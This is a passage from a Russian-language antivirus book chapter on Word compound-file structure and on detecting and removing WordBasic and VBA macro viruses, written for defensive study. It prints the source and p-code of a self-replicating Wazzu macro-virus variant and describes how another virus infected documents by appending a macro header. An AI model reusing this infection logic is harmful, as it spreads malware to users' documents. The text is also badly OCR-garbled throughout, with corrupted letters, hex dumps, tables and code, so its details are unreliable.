О -3 -  ОҒҒҒҒҒҒҒВЬ или -4 = ОҒҒҒҒҒҒҒСЬ -  признак служеб- 
ного «блока»;

О -2 = ОҒҒҒҒҒҒҒЕЬ -  последний «блок» в цепочке;
О -1 = ОҒҒҒҒҒҒҒҒЬ -  неиспользуемьш «блок»;
О иное >0 -  номер «блока», следуювдего за текушим.
Если мн знаем номер стартового «блока» для какого-либо объекта 

(например, для потока), то легко можем вьггянуть всю цепочку при- 
надлежаших ему «блоков» (то есть секторов файла). Вот конкретннй 
пример. Пусть фрагмент дампа файла, содержавдий начало ҒАТ ВВЦ, 
внглядит следуюшим образом:
01 00 00 00 -  02 00 00 00 -  05 00 00 00 -  06 00 00 00
07 00 00 00 -  03 00 00 00 -  ҒҒ  Ғ Ғ  ҒҒ ҒЕ -  08 00 00 00
ҒҒ ҒҒ  ҒҒ ҒЕ -  ҒҒ ҒҒ ҒҒ ҒО -  ҒҒ  Ғ Ғ  ҒҒ ҒҒ -  ҒҒ ҒҒ ҒҒ ғ ғ

Давайте внпишем значения «строчек» таблицн в более удобной для
глаза форме и в скобочках каждому элементу припишем его номер:
(00)01 
(01)02
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(02) 05
(03)06
(04) 07
(05) 03
(06) - 2
(07) 08
(08) - 2  

(09) -3 
(0А) -1 
(0В) -1

Допустим. известно, что стартовнй «блок» потока имеет значение
0. В нулевой строчке читаем: следуюший «блок» потока имеет номер
1. Переходим к строчке номер 1 и узнаем, что следуювдий «блок» име- 
ет номер 2, и т. д. Окончательно получаем цепочку номеров файловнх 
секторов: {0, 1, 2, 5, 3, 6 }. Именно в таком порядке и разместил М5 
\Уог<1 фрагменти какого-то потока внутри составного файла! Кстати, 
обратите внимание на вклинившиеся куски какого-то другого объ- 
екта, «живувдего» в «блоках» {4, 7, 8 }, и на пустме «блоки» с номе- 
рами ОАЬ и ОВЬ. Вероятно, это свидетельство того, что над докумен- 
том долго и мучительно работали: многократно удаляли и вставляли 
фрагментм текста, рисунки, формулн и т. п.

Секторм файла, занимаемне первой половиной ҒАТ ВВО, описа- 
нн в конце заголовка, начиная с байта 4СЬ (поле «ВВОВе§]п»). Этот 
массив, которьш тоже построен по правилам ҒАТ, может содержать до 
119 элементов. Расположение ҒАТ-массива, описнваюшего секторн 
«остатка» ҒАТ ВВЭ (он есть только в файлах размером более 7 Мб), 
можно узнать по смешению 44Ь (поле «ВВВ51аг1») в том же заголов- 
ке. Если «остатка» ҒАТ ВҒЮ нет, то в поле «ВВВЗгагС» хранится зна- 
чение (-2 ).

А для чего нужна 5ВБ? Она предназначена для описания объек- 
тов, храняших небольшие объемм данннх. В самом деле, расходовать 
цельш 512-байтовнй сектор на строку «Не11о!» бьшо бн нерациональ- 
но. Поэтому в структуре составного файла предусмотрена возмож- 
ность размешать даннне в маленьких, 64-байтовнх «блочках» («зтаП 
Ь1оскз»). Идеология расположения 64-байтовнх «блочков» такая 
же, как и для 512-байтовнх «больших блоков». Под них вмделяется 
цепочка секторов составного файла, отдельнне «блочки» в которой 
пронумерованм с 0. Стартовмй адрес этой области (то есть цепочки 
512-байтовмх секторов) указан в странном месте -  в записи «главного 
каталога», посвяшенной самому «главному каталогу». Расположение
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же объектов в области «блочков» описмвается в ҒАТ ЗВБ. Числа в 
«записях» ҒАТ 5ВР соответствуют не абсолютньш номерам 512-бай- 
товмх секторов, а относительнмм номерам 64-байтовмх «блочков» 
внутри цепочки секторов.

Местоположение стартового сектора ҒАТ 5ВО берется из заголов- 
ка составного файла (по смешению ЗСЬ, поле «5ВВ5иаг1>).

Как узнать, в ВВБ или в 5ВБ хранится тот или иной объект? Очень 
просто -  в поле «Мт51г» заголовка файла указан предельньга размер 
объекта в байтах (обмчно 4096). Если объект меньше этого размера, 
то он расположен в 5ВГЗ; иначе -  в ВВЭ.

5.4.2. «Правильнмй»» доступ к структурированному 
хранилииду
Библиотека «0ЕЕ2.0ЬЬ2 содержит средства для работм со «структу- 
рированнмми хранилшцами». Функция «51§1л5юга§еҒ11е» возвраша- 
ет для файла признак -  это структурированное хранилише или нет. 
Функция «з1ёОреп51:ога§е» открьшает файл храниливда и возвраша- 
ет «интерфейс» «1з1ога§е». Это объект класса, содержавдего свойства 
и методн для работм со структурированннми храниливдами:

О «151ога§е::Ореп5сога§е» -  открьюает подкаталог, возврашая 
интерфейс для доступа к подчиненнмм каталогам и методм 
типа «КепатеЕ1етепГ>>. «КШЕ1етеп1»> и прочие;

О «15<:ога§е::Ке1еа5е» -  закрмвает подкаталог;
О  «151ога§е::ЕпитЕ1ешеп1з» -  возврашает интерфейс перечисли- 

теля с методами «Нех!», «5к1р», «КезеЬ» и т. п.;
О  «15Сога§е::Ореп5ггеат» -  открнвает поток, возврашая интер- 

фейс «Ьгтеат» с методами «Кеас1», <<\\7п(е», «Ке1еазе» и т. п.
Увн, использование этого метода сопряжено с рядом серьезннх не- 

достатков.
Во-первмх, процедурн из библиотеки «ОҒЕ2 .ВЕЕ» отказнваются 

работать с запароленннми и «испорченньши» документами. В то вре- 
мя как вирусм в таких документах живут и прекрасно себя чувствуют.

Во-вторнх, скорость работн этих процедур крайне невнсока.
Наконец, в разннх версиях библиотеки содержатся ошибки. На- 

пример, версия из М5 \\'огс! 6.0 не «обнуляла» неиспользуемне сек- 
торм «структурированнмх хранилиш». в результате чего вместе с 
документами и электронньши таблицами частенько «уплнвали» кон- 
фидеициальнне даннне. А версии из М5 ОШсе 97 и 2000 «страдали» 
утечками динамической памяти.
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5.4.3. Макроси в УУогО-документе
«Структурированное хранилише», формат и способ доступа к кото- 
рому описанн внше, предназначено д.чя хранения внутри одного дис- 
кового файла множества именованннх наборов данннх, назнваемнх 
потоками. Состав и назначение потоков, созданннх разннми прило- 
жениями и разннми версиями приложений, сушественно отличаются 
друг от друга.

5.4.3.1. Макрош на язике Ш>гйВа$гс
Главннй каталог типичного документа, созданного в М5 \Уог(1 вер- 

сий 6.0 или 7.0, внглядит следуюгцим образом (см. табл. 5.2).

Таблицв 5.2. Каталог структурированного хранили1ца, 
созданного в М 5 М огё 6.0
# И мя Тип Л ев. Прав. Перв. С та р т Длина Ц вет

0 Ноо( Еп1гу 5 -1 -1 1 <Ю 380 1

1 \ЛЛзгсЮоситеп1 2 2 3 -1 0 123111 1

2 /Ю отрО Ь ) 2 -1 -1 -1 0 6А 1

3 /55иттагу1п{огта1юп 2 -1 4 -1 2 1СЮ 1

4 / б О о с и т е п Й и тт а гу -
^ о гта й о п

2 -1 -1 -1 ОА 08 0

Еше прохце устроен документ, созданньш в редакторе \¥огс1Ра<1 (см. 
табл. 5.3).

Таблица 5 .3. Каталог структурированного хранилита, 
созданного в УУогйРас!
# Имя Тип Лев. Прав. Перв. Старт Д лина Цвет

0 Ноо1 Еп1гу 5 -1 -1 1 3 9С0П 0

1 У/огсЮоситегП 2 2 2 -1 0 902И 1

2 /1 С о тр О Ь ! 2 -1 -1 -1 25 6ЕП 0

Набор и назначение потоков внутри файла, организованного 
в формате М5 \Уогс1 6.0/7.0, практически не зависят от наличия или 
отсутствия картинок, таблиц, макросов и т. п. Главную роль играет 
поток со стандартннм именем «\¥ог<1 Ооситеп(», содержатий внутри 
себя собственно документ М5 \Уо1'с! -  текст, картинки, макросн, слу- 
жебную информацию и т. п. Сушествует официальная документация: 
чАИсгозоЛ \¥огс1 Гог \\71пс1о\¥ 5  6.0 В1пагу Й1е £огта1 », которая описнва-
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ет структуру этого потока. Впрочем, подробности хранения макросов 
в этом документе описанм не полностью.

В начале потока «\Уоп1Воситеп<> расположен огромньш заголо- 
вок (Ғ1В -  ҒПе 1п£огтайоп В1оск), в котором нас могут заинтересо- 
вать всего лишь несколько полей:
Иадю 00 ? ; +000Л -  Сигнатура (65А50С. 68А5ВС, 68А697, 68А699. . .)
80 0В 6  й и р ( ? )  ;
Туре ОИ ? ; +00А(1 -  Флаги, млэдвий бит: 0- докумеит; 1- шаблон
81 ОВ 268 С-ЦР (?)
Мроз 00 ? ; +118Ь -  Снечение макроээгоповка в потоке
М1еп 00 ? , +11Сй -  Длина макрозагояовка

Если документ М5 \Уогс1 содержит макросн, то по адресу 118Ь в его 
заголовке содержится смешение макрозаголовка, то есть структурн, 
содержашей описания макросов:
Мадю ЙМ 01 ҒҒй . +00(1 -  Признак макрозэголовка
Мгпасг 0И ? ; +02(1 -  Количество макросов

Еиасг 0В 40(1 ; Конец макрозаголовка

Если количество макросов ненулевое, то сразу за полями «Ма£1С» 
и «Кшасг» размешается соответствуюшее количество описателей мак- 
росов, кажднй из которнх соответствует следуюшей 24-байтовой 
структуре:
Уег$ с1Ь ? ; +00п - Версия макрояэька -  55(1
Кеу <я> ? ; +01Г1 -  Ключ шифрации макроса (если 0, то незашифрован)
Я0 оь 10 йир (?) ; ?
М1еп М  ? ; +0Сп - Длина макроса
Я1 сШ ? ; +10(1 ; ?
Мроз 06 ? ; +14п - Сметение текста макроса

Поле в конце описателя указнвает на смешение внутри потока, где 
расположен «частично откомпилированннй» текст макроса -  так 
назнваемнй «р-сос1е». Комментарии и константн хранятся в перво- 
начальном виде, а ключевне слова («Ғог», «и'ЬИе» и т. п.), «лексемн» 
(признак строки, признак числа и т. п.) и имена функций и команд 
(«МасгоСору», «Мз§Вох» и т. п.) закодированм двоичньши кодами. 
Вот, например, как внглядит исходннй текст простейшего макроса: 
5иЬ МАГН
ИздВох "Н е а о !", 16
Епа ЗиЬ

Это его шестнадцатеричньш дамп:
000: 01 00 64 18-69 04 40 41 -49 4Е 64 67-23 80 6А 06 . С.  1 . МАШд+А^.
010: 48 65 6С 6С-6Ғ 21 12 6А-00 12 6С Ю-00 64 1А 1В Не11о' . 1 1. 0..
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А это расшифровка «р-кода»:
0001 <Номер макрооа>
64 <Новая отрока>
13 5иЬ
69 <Строка беэ кавнчек>
04 <Длина строки без кавь(Чек> = 4
40 М
41 А 
49 I 
4Е N
64 <Новая строка>
67 <Команда>
802В МздВох
6А <Строка в кавмчках>
06 <Дяина строки в кавичках> = 6 
48 Н
65 е 
6С 1 
6С 1 
6Ғ о 
21 !
12 ,
6А <Строка в кавичках>
00 <Длинэ отроки в кавмчках> = 0 
12 ,
6С <Целэя константа>
0010 <3начение целой константн> = 16 
64 <Ноеая строка>
1А Епй 
18 ЗиЬ

Макрос может оказаться зашифрованнмм. Шифрование произво- 
дится автоматически при создании или копировании макроса, если 
в команде «МасгоСору» последний параметр установлен ненулевьш. 
В этом случае просмотр и редактирование зашифрованного макроса 
средствами М5 \¥огй невозможньг. Но шифрование тела макроса вн- 
полняется крайне примитивно -  по алгоритму побитового «исклю- 
чакяцего ИЛИ» (ХОК) при помоши однобайтового ключа, указанно- 
го в заголовке макроса. Поэтому, напрямую обрашаясь к ВОС-файлу, 
макрос легко расшифровать.

После описателей макросов в макрозаголовке размешаются спис- 
ки внутренних и внешних имен, описатели меню и друтая информа- 
ция, которая также может бнть использована при восстановлении ис- 
ходного текста макросов. Заканчивается макрозаголовок байтом 40Ь. 
Таким образом, «пустой» макрозаголовок состоит из двухбайтового 
слова 40ҒҒЬ.



Прямой доступ к мафосам ❖ 361

Удивительно, но программистн фирмь1 МлсгозоЙ, создававшие М5 
\Уогд версий 6.0 и 7.0, сами считали потоковьш формат «структуриро- 
ванньгх храниливд » слишком сложнь1м, и в тех случаях, когда это пред- 
ставлялосьвозможньш, старались обрашаться к фрагментам докумен- 
та напрям)то. Можно провести следуклций «безумньш» эксперимент:

О найти по сигнатуре в файле стартовьш сектор потока «\Уогс1- 
Ооситеп!»;

О напрямую указать в нем признаки шаблона и наличия макро- 
сов, а в качестве адреса макрозаголовка указать конец файла;

О игнорируя любне правила «структурированннх хранилиш», 
просто дописать к концу файла правильно заполненннй мак- 
розаголовок и «р-сос[е» макроса.

Если теперь загрузить в М5 \Уогс1 6.0/7.0 модифицированннй до- 
кумент, то макрос вьшолнится! Примерно так заражал документн 
файловьш вирус АпагсЬу.6093.

Итак, в чем же заключается «лечение» зараженного документа? 
В заголовке потока «\УогсШоситепО необходимо сбросить признак 
шаблона, а вместо макрозаголовка записать код 40ҒҒЬ. Как альтерна- 
тива: не трогать макрозаголовка, а просто указать в нем нулевое коли- 
чество макросов. «И все, и Телемаркет»!

5.4.З.2. Макроси на язьте УВА
По правилам М5 \Уог<1 97, документ раскидан по ряду потоков: 

текст отдельно, картинки отдельно, макросн отдельно, служебная ин- 
формация отдельно и т. п. Таким образом, набор и назначение пото- 
ков составного файла сильно зависят от того, имеются ли в документе 
картинки, интегрированн ли внутрь макросн и т. п. Вот так внглядит 
стр>тстура «пустого» документа (см. табл. 5.4.).

Габлица 5.4. Катал ог пустогохранилтца, 
созданного в М 8 \Могб 9 7
# Имя Тип Лев. Прав. Перв. Старт Длина Цвет
0 Воо1Еп1гу 5 -1 -1 3 24 80 1
1 1ТаЬ1е 2 -1 -1 -1 8 1000 0
2 'А/огсЮоситегй 2 5 -1 -1 0 1000 1
3 /55иттагу1п(огтайоп 2 2 4 -1 10 1000 1
4 /50оситеп1;5иттагу-

1пйэгтайоп
2 -1 -1 -1 18 1000 1

5 /1СотрОЬ| 2 1 6 -1 0 6А 1
6 ОЬ)'ес1:Роо1 1 -1 -1 -1 0 0 0
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А вот, для сравнения, типичньш каталог документа, имекнцего ри- 
сунки, таблицм и к тому же зараженного макровирусом (см. табл. 5.5).

Таблица 5.5. Каталогхранилиша длядокумента,
зараженного макровирусом

# Имя Тип Яев. Прав. Перв. Старт Дяина Цвет
0 Яоо1 ЕгЛгу 5 -1 -1 3 24 2180 1
1 1ТаЬ1е 2 -1 -1 -1 8 1Е1Ғ 1
2 УЛЛзгсЮоситеШ 2 5 -1 -1 0 1С1Е 1
3 /58иттагу1пКзгта1юп 2 2 4 -1 10 1000 1
4 /5 йоси теШ Зит тагу- 

1п1огта1юп
2 -1 -1 -1 18 1000 1

5 Масгоз 1 1 11 10 0 0 0
6 УВА 1 -1 -1 8 0 0 0
7 Т11180оситеп1 2 -1 В -1 0 ЗС5 1
8 МездМасгоа 2 9 7 -1 10 555 1
9 5НР 2 2 0 А -1 26 54 0
10 _8НР_3 2 -1 -1 -1 28 6Р 1
11 УВА_РНО^ЕСТ 2 -1 -1 -1 2А В28 0
12 Й1Г 2 -1 -1 -1 57 202 0
13 _5НР_0 2 С Е -1 63 5 5 В 1
14 ЗНР 1 2 -1 -1 -1 79 91 0
15 РНОЗЕСТулп 2 -1 -1 -1 7С 47 0
16 РНО^ЕСТ 2 6 Ғ -1 7Е 177 1
17 /1СотрОЬ) 2 -1 12 -1 6 4 6 А 1
18 ОЬ]ес1Роо1 1 -1 -1 -1 0 0 0

5.4.33. Вид и расположение УВА-макросов
Макросм в документе, созданном средствами М5 \Уогс1 97, пред- 

ставленн в разнообразннх формах и разбросанн по разннм потокам.
Во-первнх, в документе хранятся исходнне текстн макросов, для 

экономии места упакованнью алгоритмом Ь2 МТ1 (это одна из раз- 
новидностей классического метода \.7Л ), -  поэтому их внутри доку- 
мента не видно «на просвет». Обмчно они занимают конец некоторо- 
го потока. Если программнст сохранил свои макросм в стандартном 
модуле «Ме\^Масго5», то исходнне текстн будут расположенн в 
потоке с этим же именем. Если пользователь создает дополнитель- 
нне УВА-модули с уникальнмми именами, то в документе появят- 
ся соответствуюшие им потоки, и исходнне текстн будут по.мешенм 
именно в них. А если пользователь помешает свои макросн в «мо-
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дули классов». то их исходнме текстн окажутся в потоке с именем 
«ТЬ1зОоситеп(;». Отличительним признаком потоков, в котормх 
«спрятанн» исходнне текстн макросов, является четмрехбайтовая 
сигнатура 00011601Ь, расположенная в самом начале потока.

Во-втормх, в документе хранится «р-сос!е» макросов. Разумеет- 
ся, кодм язьтковмх конструкций УВА отличаются от кодов язнка 
\Уог(1Ва51С, использованннх в М5 \Уог<1 6.0/7.0. Макросн, закоди- 
рованнне таким образом, хранятся в тех же потоках, что и исходнне 
кодн, только в другом месте -  где-то ближе к началу потока.

Наконец, в документе хранится полностью откомпилированннй 
код макросов, подготовленннй для внполнения на виртуальной ма- 
шине. Вообше говоря, этот исполняеммй код для одного и того же 
исходного текста будет разннм в зависимости от того, в М5 \¥огс! 97 
или М5 АД/огс! 2000 бмл создан документ, -  поскольку в них использу- 
ются немножко различаюшиеся виртуальнне машинн. Исполняемне
кодн хранятся в потоках с именами вида «__5КР_0». «__5КР_1».
«__5КР_2» и т. п. Интересно, что, найдя в файле «неправильнне»
или «испорченнне» исполняемне кодн, М5 \Уогс1 может обратить- 
ся за справкой к «р-сос!е», заново откомпилировать его и затем уже 
запустить на внполнение результат.

Таким образом, для того чтобн ни одна из «ипостасей» макровиру- 
са не вмполнилась, удалять надо сразу все.

5.4.3-4. Поиск УВА-макросов
Как же определить, заражен документ каким-либо вирусом или 

нет? Способов сушествует много. Самьш простой складнвается из 
следуюших шагов:

1 ) просканировать в цикле все потоки документа;
2) в потоках, начинаюпдахся с сигнатурн 00011601Ь, найти фраг- 

ментьг с исходнн\ш текстами макросов;
3) распаковать блоки макросов и провести распознавание вирусов 

по исходному тексту.
Впрочем, если вирус не полиморфннй, шаг 3 на этапе детектиро- 

вания не обязателен. Однозначно распознать вирус вполне можно и 
по упакованному коду. Тем не менее продемонстрируем вмполнение 
шагов 2  и 3 на конкретном примере. Вот дамп потока, в котором хра- 
нится текст некоего подозрительного макроса.
0000 01 16 01 00 02 86 00 Ғ Ғ  ҒҒ  01 01 00 00 00 00 ҒҒ  Ц .я я  я

0010 г г  Ғ Ғ  Ғ г  00 00 00 00 ҒҒ ҒҒ  ЗС 00 ҒҒ  Ғ Ғ  00 00 57 яяя , . . .я Ж .я я .  VI

0020 37 БС 8Е 06 40 07 11 уЕ ЕЗ В9 19 03 С8 98 56 10 7:Ь.(»Ч ПШ». .1  V,
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0450 05 00 48 65 6С 6С 6Ғ 00 41 40 1Е 02 01 00 ҒҒ ҒҒ . .КеПо.А® .. .яя
0460 ҒҒ ғғ 68 00 00 00 01 В1 80 00 41 74 74 72 69 62 ЯЯМ . . . . 1°. А1ГП.Ь
0470 75 74 00 65 20 56 42 5Ғ 4Е 61 60 00 65 20 30 20 иТ.е \/В_Нзт,е =
0480 22 54 68 69 00 73 44 6Ғ 63 75 60 65 6Е 10 74 22 'ТМ .зОоситеп. 1"
0490 00 0А 0А 8С 42 61 73 01 02 8С 31 4Е 6Ғ 72 60 61 . . .  Н>Ваз.. шМоггпа
04 А0 6С 02 2Е 19 56 43 72 65 61 74 61 04 62 6С Л11 60 1 . . .УСгеага.0 1 . '
0480 46 61 6С 73 65 01 0С 96 50 72 65 64 65 63 6С 12 Ға1зе.. -Ргеоес1.
04С0 61 00 06 49 64 00 78 54 72 75 81 00 22 45 78 70 а. . М .хТгиГ. "Ехр
0400 6Ғ 73 65 14 1С 00 54 65 60 70 6С 61 74 65 20 44 о зе .. .Т е трШ е 0
04Е0 65 72 69 76 15 24 43 75 СО 73 74 6Ғ 60 69 7А 04 епуДСиАзЮ пйг.
04Ғ0 87 03 63 00 53 75 62 20 40 61 69 6Е 00 28 29 00 £ .с.ЗиО Ма1п.().
0500 0А 40 73 67 42 00 6Ғ 78 20 22 48 65 6С 6С 42 6Ғ .МздВ.ох "НеИВо
0510 00 77 45 6Е 64 20 80 ОҒ 00 00 0А 16 00 31 10 00 . кЕпй Ъ..........1..
0520 ос 00 24 00 00 00 ҒҒ ҒҒ ғғ ҒҒ Ғ0 02 00 00 01 00 . $ . . .яяяяр.

В начале потока размешается характерная сигнатура «01 16Ь 01 
00», следовательно, мм на правильном пути. Где-то в первой части 
потока размевдается «р-сос!е» макроса, но на него не имеет смьгсла 
отвлекаться. Зато легко можно найта упакованнмй исходньш текст. 
Он начинается с маски вида «01 ¥2  ВХ», где «ХУ2» представляет 
собой длину упакованного фрагмента (так назьшаемого «сЬипк»'а, 
имевшего до упаковки длину 4096 байтов) без самой маски. Иногда 
за первьш фрагментом расположен второй, третий и т. д., все они ха- 
рактеризуются масками вида «00 VЪ ВХ». Итак, в рассматриваемом 
примере по смешению 46бЬ располагаются характернне байтн «01 В1 
В0», которне могут бьггь интерпретированн как начало упакованного 
фрагмента длиной 0В1Ь=177 байтов’.

5.43.5. Распаковка УВА~текста макросов
Как распаковьюать исходннй текст? Если антивирус работает 

в операционньсс системах семейства \Ушс1о\у5 КТ, то можно вос- 
пользоваться АР1-функцией «К1 ГОесотрге5зВи{£ег», расположенной 
в библиотеке «КТОЬЬ.ОЬЬ». Ей нужно указать адрес первого байта 
упакованного фрагмента и передать вьгходной буфер подл^шнее, все 
остальное она сделает сама:
Гуребет 1ЛМТ {ЙХМАР1 * ЯТ10) (1Л0МЗ РУОЮ ШОИС Ру01Р ШОИо Р1Л0МС);

ВТЮ ЯиЮесопргеззВиТТег;

ЬоайЬхЬга гу( "пГйП. Й11");

1 Еслн нет желаи^и искать начало упакованного «сЬиак»’а гю маске, можно 
распаковать поток «Эи> и «внтавдить» его точную позицию.
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П = бе1Мо()и1еНап()1е("п1с(11.(Л1");
Ш О есотргеззВиТТег = (ЯТЮ ) ЕетРгосАййгеззСИ, "НгЮ есошвгеззВиТТег");
ДтЮ есотргеззВиТТег(2, ТагдеТВиТТег, 4096, ЗоигсеВиТтег, 4096, &п); 
рг1пТТ("Распакованная длина: #и байтов ", п);

Но если антивирус работает в \Утс1о\У5 9Х, то библиотека «МТЕ)ЬЬ. 
в этой версии имеется, а нужной функции в ней нет. Придет- 

ся писать собственную программу для распаковки. Для этого важно 
понять, как упакованн даннме методом Ь2КТ1. Продемонстрируем 
принципн сжатия на примере рассмотренного вьше дампа.

Байт 0. [00] -  служебннй байт. Кажднй его бит соответствует од- 
ному из 8 следукмцих байтов. В нашем случае они все равнн 0, и это 
означает, что следуклцие 8 байтов -  «нормальнне», они должнн бьхть 
просто скопированн в внходной поток.

Байтн 1-8. «АйпЬи!* -  эти байтн просто копируются в внходной 
поток без изменения.

Байт 9. [00] -  снова служебньт байт аналогичного назначения.
Байтн 10-17. «е УВ_Каш> -  копир\тотся в внходной поток.
Байт 18. [00] -  снова служебннй байт аналогичного назначения.
Байта 19-26. «е = «ТШ» -  копируются в внходной поток.
Байт 27. [00] -  снова служебннй байт аналогичного назначения.
Байтн 28-35. «зОоситеп» -  копируются в внходной поток.
Байт 36. [10] -  служебньш байт 00010000, в котором 4-й бит равен

1. Это означает, что далее 4 байта «нормальньгх», потом будет 16-би- 
товая «сснлка»-, потом опять 3 «нормальннх» байта.

Байтн 37-40. «1 »<СК><ЬҒ>> -  четьфе «нормальннх» байта, ко- 
пируются в внходной поток.

Байтн 41-42. [0А][8С] -  анонсированная внше 16-битовая ссмл- 
ка на ранее уже встретившийся «образец». Формат сснлки -  пере- 
менннй: в начале упакованного фрагмента 4 бита отводятся на длину 
«образца», 1 2  -  на его адрес; ближе к середине фрагмента на длин\' 
отводится 5, а на адрес -1 1 , потом 6  и 10 и т. д., а для конца фраг- 
мента -  12 и 4. Итак, слово 8С0АЬ=1000110000001010 означает, что 
[ОАЪ] -  длина образца минус три; все остальное -  относительннй 
адрес минус 1 , которнй отсчитнвается не от начала данннх, а назад 
от текушей позиции. То есть 0000001010 = ОАЪ соответствует длине 
13, а 100011 соответствует позиции «40 назад от текутцей». Соответ- 
ственно, берем 13 байтов «образца» из позиции 1 (строчку 'Айг1Ьи(;е 
\ ;В_') и копируем в внходной фрагмент.

Байтн 43-45. «Ваз»... и т. д. Попробуйте, распакуйте дальше весь 
«чунк» самостоятельно!
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5.4.З.6. Удаление УВА-макросов
Теперь рассмотрим вопрос, как «лечить» обнаруженнне в докумен- 

тах вирусм. В начале потока «\Уогс1 Ооситеп*. »• размевдается большой 
заголовок Ғ1В (ҒИе 1пҒогта(лоп В1оск -  Блок информации о файле), 
в котором для нас наиболее интересньт два поля (см. табл. 5.6).

Твблица 5 .6. Поля заголовка Ғ1В
С м е те ни е Длина Назначение

15АЬ 4 Сме1дение структурм, опись1ваю!дей макросм, в потоке 
«1ТаЬ1е»

15ЕИ 4 Длина структурь!

Полезно процитировать «фирменное» описание второго из этих 
полей, ярко характеризуювдее отношение М1сго8оГ(; к разглашению 
своих секретов:

ипдоситепХед зие о/ ипйоситеМед з\гис1иге по1 доситеШеб 
аЬо\/е. (Недокументированний размер недокументированной 
струкгурь/, которая вь/ше не документирована.)

В потоке «1ТаЬ1е» хранятся сведения о расположении и именах 
всех макросов1. Любая правильная таблица макросов начинается 
с байта ҒҒЬ и заканчивается байтом 40Ь. Таким образом, для очист- 
ки потока «хТаЬ1е» можно в заголовке «ХУогйБосишепС» установить 
длину 2, а зарезервированное в потоке «хТаЬ1е» под описатели мак- 
росов поле «почистить», поместив в начало слово 40ҒҒЬ (признак 
«пустой» таблицьх).

Кстати, очень похоже «мухлевал» вирус Масго.\¥огс197.Ха1ег (он 
же \¥97М.Ьехаг), заставляя встроенньш в М5 \Уогс1 антивирус ис- 
кать описатели макросов там, где их не бнло. Антивирус отказнвался 
оповешать о наличии макросов, а вот виртуальная машина бнла бо- 
лее недоверчивой, обнаруживая и исполняя макросн из потоков, опи- 
санннх в поддереве, начинаювдемся с подкаталога «Масгоз». Поэтому 
завершаювдим шагом лечения является «УВА-эктомия», то есть уда- 
ление из документа всех потоков, связанннх с макросами... ну или 
хотя бм их обшего корня -  каталога «Масгоа». Достаточно переиме- 
новать его (например, в «Кх11ес1»), и виртуальная машина не найдет 
в документе ничего, предназначенного для вьшолнения.

1 Иногда поток назмвается «0ТаЬ1е», в этом случае сброшен в 0 битовьш фла- 
жок в поле заголовка гю смевдению ОхА.
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Разумеется, описаннмй вьше способ обнаружения и удаления 
макровирусов -  далеко не единственнмй.

5.5. Пример анадиза и удадения 
конкретного макровируса

Мимикродонов не стоит вьклеживать и на- 
падать на них именно справа... К  ним можно 
просто подойти и есть -  с хвоста или с голо- 
вь1, как угодно.

А. и Б. Стругацкие. «Ночь на Марсе»

Продемонстрируем на конкретном примере основнме приемн, кото- 
рне можно использовать против макровирусов. Пусть объектом для 
показательного «вскрьггия» послужит несложньш макровирус \Уагхи, 
которнй сушествует в обоих вариантах -  и на язнке \Уогс1Ва51с для 
М5 \Уогс16.0/7.0 (Масго.\Уогс1.\Уа22и), и на язнке \ ;ВА для М5 \¥огс1 
97 (Масго.\¥огс197.\Уа22и).

5.5.1. Получение и анализ исходного текста
Имея зараженннй документ, исходньш текст макровируса получить 
несложно. Большинство вирусов позволяют увидеть себя в редакторе 
макросов, доступном через меню «Сервис => Макрос ...». Если же это 
невозможно (например, если макрос для М5 \Уогс1 6.0/7.0 зашифро- 
ван или макрос для М5 \ААэг<1 97 оформлен как «класс»), то можно 
«внтавдить» и восстановить исходннй текст программно.

Для документа в формате М5 \¥ог<1 6.0/7.0 необходимо:
О  извлечь из структурированного хранилиша поток под названи- 

ем «\¥огсШоситеп1>;
О в Ғ1В-заголовке потока по смешению 118Ь найти адрес макро- 

заголовка, обратиться к нему и получить доступ к фрагменту 
потока, храняшему двоичннй код макросов;

О если макросн зашифрованн, то расшифровать их;
О пользуясь табличкой «р-кодов». раскодировать макросн -  по- 

лучить исходннй текст.
Может возникнуть вопрос: где взять табличку «р-кодов»? Во- 

первнх, в материалах Мартина Шварца, посвяшенннх «файловой 
системе Ьао1а». Во-вторнх, в исходннх текстах утилита 51§Тоо1, при- 
лагаемьтх к антивирусу С1атАУ.
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Для документа в формате МЗ \Уогс197 задача получения исходного 
текста макровируса евде проше:

О просканировать все потоки на наличие сигнатурн 00011601Ь; 
О во всех таких потоках найти фрагмент, начинаюшийся с сигна- 

турн вида <01 У2 ВХ»;
О распаковать этот фрагмент, «сжатнй» методом Ь2МТ1, -  полу- 

чить исходньш текст.
Программнне процедурн, реализуювдие эту последовательность 

действий, очень несложно реализовать самостоятельно. Но есть и 
готовне программнне продукта, которне позволяют «внтаскивать» 
исходнне текста макросов из документов, электронннх таблиц, пре- 
зентаций и т. п., например:

О утилита 1ЖМ от М1ке^ап<1а (только для доқументов в формате 
М5 \¥ог<1 6.0/7.0);

О демонстрационная утилита 51§Тоо1, поставляемая вместе с ан- 
тивирусом С1атАУ в виде исходного текста;

О словацкий антивирусннй пакет НМУ5 от Уа1ку, Ь. УгТлк и 
К. Магко.

Классический вирус Масго.\Уогс1.\Уа2 2 и исключительно прост, 
что обусловило большое количество «подражаний» и «римейков». 
Один из самнх «лаконичнмх» вариантов вируса -  Масго.\Уог(1. 
'№агги.£у/ -  состоит из единственного макроса «АийЮрепк
5ий ИАГИ
0" Е гго г  Со1:о М1п£1ге
Ғ$ = ҒИеНагае$() + ":вЦТ0оР8п'
5$ = "01оЬа1:аиТ0оРеп"
М$ = иСа5е$(Я1дпг$(МасгоҒ11еНаше$(МасгоНаше$(0)), 10))
1Т И$ = "МОЙМА1.00Т" Тйеп 
МасгоСору 3$, Ғ$

Е1зе
КасгоСору Ғ$, 05, 1
Ег.оХҒ
М т 812е:
Епй ЗиЬ

Авоттаквнглядит егодвоичннй «р-со<1е», расположенньш внутри 
потока « \¥огс10оситеп Ь> и имеюший длину 180 байтов:
0ВҒС 01 00 64 1В 69 04 40 41 49 4Е 64 е. С. . . . й . 1 . МАШс
0С00 2С 20 2А 69 07 40 69 6Е 53 69 7А 65 64 69 02 46 . - ч . М т З т б ь Ғ
ОСЮ 24 0С 67 25 80 05 06 07 6А 09 ЗА 61 55 54 4Ғ 6Ғ $. о%А. . . ] . :  аЧТОо
0С20 50 65 6Е 64 69 02 47 24 0С 6А 0Ғ 47 6С 6Ғ 62 61 Репй1 . 0 $ . ] . 01оЬа
0С30 6С ЗА 61 55 54 4Ғ 6Ғ 50 65 6Е 64 69 02 40 24 0С 1 :аОТОоРепй!. М$.
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0С40 67 АҒ 80 05 67 09 80 05 67 8Е 81 05 67 В8 80 05 дпА.д.А.дОБ. д+А.
